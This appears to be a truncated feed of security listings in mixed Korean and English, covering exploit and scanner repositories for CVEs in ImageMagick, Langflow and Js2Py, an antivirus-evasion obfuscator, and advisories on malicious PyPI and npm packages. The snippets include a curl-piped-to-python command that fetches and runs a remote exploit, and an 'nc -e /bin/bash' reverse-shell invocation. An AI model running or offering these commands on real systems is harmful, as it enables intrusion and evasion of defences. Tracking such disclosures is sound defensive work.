CVE-2022-35649

CVE-2022-35649 페이로드 생성기Python 2 사용 및 CVE-2022-35649에 대한 상세 분석 Python으로 작성된 PoC는 GhostScript 9.50의 0-day가 악용될 때 페이로드를 생성합니다. 이 0-day 익스플로잇은 Ubuntu 저장소의 기본 설정을 사용하는 ImageMagick에 영향을 미칩니다 Ubuntu 20.04에서 ImageMagick 기본 설정으로 테스트됨. 이 프로젝트는 교육 목적으로만 제작되었으며, 법 위반이나 개인적 이득을 위해 사용될 수 없습니다. 이 프로젝트의 저자는 이...

CVE-2025-3248

中文 ｜ 영어 Langflow 취약점 스캐너 Langflow 애플리케이션의 CVE-2025-3248을 위한 취약점 스캐너입니다. 기능 FOFA를 사용하여 단일 대상 또는 여러 대상 스캔 취약한 대상에서 시스템 명령 실행 시스템 정보 검색 사용자 정의 페이로드 지원 FOFA 스캐닝용 진행률 표시줄 아름다운 CLI 인터페이스 설치 1. 저장소 클론: git clone https://github.com/xuemian168/CVE-2025-3248.git cd CVE-2025-3248/ 2. 종속성 설치: python3 -m venv...

pyobfuscate

pyobfuscate 파이썬 페이로드를 완전히 FUD로 만들기 위한 간단하고 효율적인 스크립트 참고: 1. 어떤 페이로드도 VirusTotal.com에 업로드하지 마세요. 이 도구는 시간이 지나면 작동하지 않을 것입니다. 2. VirusTotal은 AV 회사들과 서명을 공유합니다. 3. 다시 말하지만, 바보가 되지 마세요! 설치 방법: 1. git clone https://github.com/machine1337/pyobfuscate.git 2. cd pyobfuscate 3. python3 obf.py KleenScan 스캐...

TEST-CVE-2026-31431

TEST-CVE-2026-31431 oc new-app -n default https://github.com/gmeghnag/TEST-CVE-2026-31431 oc rsh -n default deployment/test-cve-2026-31431 sh-5.1$ id uid=10011001 gid=0root groups=0root sh-5.1$ curl -s https://copy.fail/exp | python3.12 && su root@test-cve-2026-31431-78f6d9cc97-n7d5j / id uid=0ro...

Code-Roulette

코드 룰렛 터미널 인터페이스 기반, 온라인 멀티플레이어 러시안 룰렛. 패자가 승자의 Python 페이로드 파일을 실행하게 됩니다. 코드 룰렛 개요 게임 작동 방식 데모 비디오 사용법 패키지로 사용 UV 패키지 매니저로 사용 Pip으로 사용 페이로드 파일 개발 라이선싱 주요 구성 요소 페이로드 디렉토리 면책 조항 | ---|--- | | 개요 코드 룰렛은 터미널 사용자 인터페이스TUI 기반의 온라인 멀티플레이어 러시안 룰렛 게임으로, 패자가 승자가 선택한 Python 페이로드를 강제로 실행해야 합니다. 채팅 기능 포함. 게임...

Langflow Remote Code Execution

Langflow versions prior to 1.9.0 are susceptible to unauthenticated remote code execution through the /api/v1/buildpublictmp/flowid/flow endpoint. A remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code. frozenstringliteral: true This module requires...

Malicious code in twrap-tool (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d9903cc9163ada9951dee4ee1f364648cac0e492df9a32582ad3ed8303d29231 twraptool/init.py defines two public functions, formatblock and aligncolumns, whose real behavior is to fetch a Python file from...

MAL-2026-6415 Malicious code in anthropic-claude-latest (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 39eab369e2498da827d3bbd331effdf24b99ab28961e62da7328e4476e328876 Package anthropic-claude-latest claims to be an 'Official Anthropic Claude SDK wrapper' but ships no Anthropic SDK code; the README is for an unrelat...

EUVD-2026-32664

claude-code-cache-fix is a cache optimization proxy for Claude Code. From 3.5.0 to before 3.5.2, tools/quota-statusline.sh introduced in v3.5.0 interpolates Claude Code's hook stdin payload directly into a Python triple-quoted string literal. A ''' byte sequence in any user-controlled field of th...

Js2Py 0.74 - RCE

Exploit Title: Js2Py 0.74 - RCE Date: 2026-02-03 Exploit Author: Ali Sünbül xeloxa Author Page: https://github.com/xeloxa Vendor Homepage: https://github.com/PiotrDabkowski/Js2Py Software Link: https://pypi.org/project/Js2Py/ Version: payload.js python3 exploit.py -c "nc -e /bin/bash 10.10.10.10...

Exploit for Eval Injection in Langflow

CVE-2026-33017 - Langflow Unauthenticated RCE...

Embedded Malicious Code

Overview Affected versions of this package are vulnerable to Embedded Malicious Code. The publishing pipeline of this package was compromised as the result of Trivy's GitHub Actions compromise and a malicious versions were released on NPM. They contain malicious code, and its content was NOT yet...

Embedded Malicious Code

Overview Affected versions of this package are vulnerable to Embedded Malicious Code. The publishing pipeline of this package was compromised as the result of Trivy's GitHub Actions compromise and a malicious versions were released on NPM. They contain malicious code, and its content was NOT yet...

Embedded Malicious Code

Overview Affected versions of this package are vulnerable to Embedded Malicious Code. The publishing pipeline of this package was compromised as the result of Trivy's GitHub Actions compromise and a malicious versions were released on NPM. They contain malicious code, and its content was NOT yet...

Embedded Malicious Code

Overview Affected versions of this package are vulnerable to Embedded Malicious Code. The publishing pipeline of this package was compromised as the result of Trivy's GitHub Actions compromise and a malicious versions were released on NPM. They contain malicious code, and its content was NOT yet...

Embedded Malicious Code

Overview Affected versions of this package are vulnerable to Embedded Malicious Code. The publishing pipeline of this package was compromised as the result of Trivy's GitHub Actions compromise and a malicious versions were released on NPM. They contain malicious code, and its content was NOT yet...

Embedded Malicious Code

Overview Affected versions of this package are vulnerable to Embedded Malicious Code. The publishing pipeline of this package was compromised as the result of Trivy's GitHub Actions compromise and a malicious versions were released on NPM. They contain malicious code, and its content was NOT yet...

Embedded Malicious Code

Overview Affected versions of this package are vulnerable to Embedded Malicious Code. The publishing pipeline of this package was compromised as the result of Trivy's GitHub Actions compromise and a malicious versions were released on NPM. They contain malicious code, and its content was NOT yet...

Embedded Malicious Code

Overview Affected versions of this package are vulnerable to Embedded Malicious Code. The publishing pipeline of this package was compromised as the result of Trivy's GitHub Actions compromise and a malicious versions were released on NPM. They contain malicious code, and its content was NOT yet...

Embedded Malicious Code

Overview @emilgroup/commission-sdk-node is an A new version of the package Affected versions of this package are vulnerable to Embedded Malicious Code. The publishing pipeline of this package was compromised as the result of Trivy's GitHub Actions compromise and a malicious versions were released...